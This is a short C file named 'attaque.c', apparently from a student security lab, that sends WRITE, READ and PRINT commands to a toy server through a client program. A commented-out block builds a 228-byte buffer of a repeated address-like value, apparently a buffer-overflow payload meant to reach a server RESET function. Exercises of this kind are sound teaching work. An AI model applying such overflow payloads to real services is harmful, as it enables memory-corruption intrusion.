PIR/attaque.c

64 lines
1.4 KiB
C

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#define LATENCE 10000
#define FUNCTION usleep
#define SIZE_BUFF 228
char prog_name[100];
void runClientWithCommand(char *cmd) {
FILE *prog = popen(prog_name, "w");
FUNCTION(LATENCE);
if (prog == NULL) {
printf("ERREUR\n");
return;
}
fprintf(prog, "%s", cmd);
printf("%s", cmd);
FUNCTION(LATENCE);
fprintf(prog, "QUIT\n");
printf("QUIT\n");
pclose(prog);
}
int main(int argc, char *argv[]) {
if (argc != 3) {
printf("Usage : ./attaque addresseServeur portServeur\n");
return 2;
}
int port = atoi(argv[2]);
if (port <= 0 || port > 65535) {
printf("Usage : ./attaque addresseServeur portServeur\n");
return 3;
}
sprintf(prog_name, "./client %s %s", argv[1], argv[2]);
// On ecrit 100 a l'index 2
printf("-- Write --\n");
runClientWithCommand("WRITE 100 2\n");
// On affiche la valeur a l'index 1
printf("-- Read --\n");
runClientWithCommand("READ 1\n");
// On affiche le tableau sur le serveur
printf("-- Print --\n");
runClientWithCommand("PRINT\n");
// TODO
// // On hack pour RESET
// printf("-- Hack --\n");
// char buff[SIZE_BUFF + 1];
// int i;
// for (i=0; i<(SIZE_BUFF / 4); i++) {
// buff[(i*4)] = 0xef;
// buff[(i*4) + 1] = 0xca;
// buff[(i*4) + 2] = 0x5c;
// buff[(i*4) + 3] = 0x56;
// }
// buff[SIZE_BUFF] = '\0';
// runClientWithCommand(buff);
}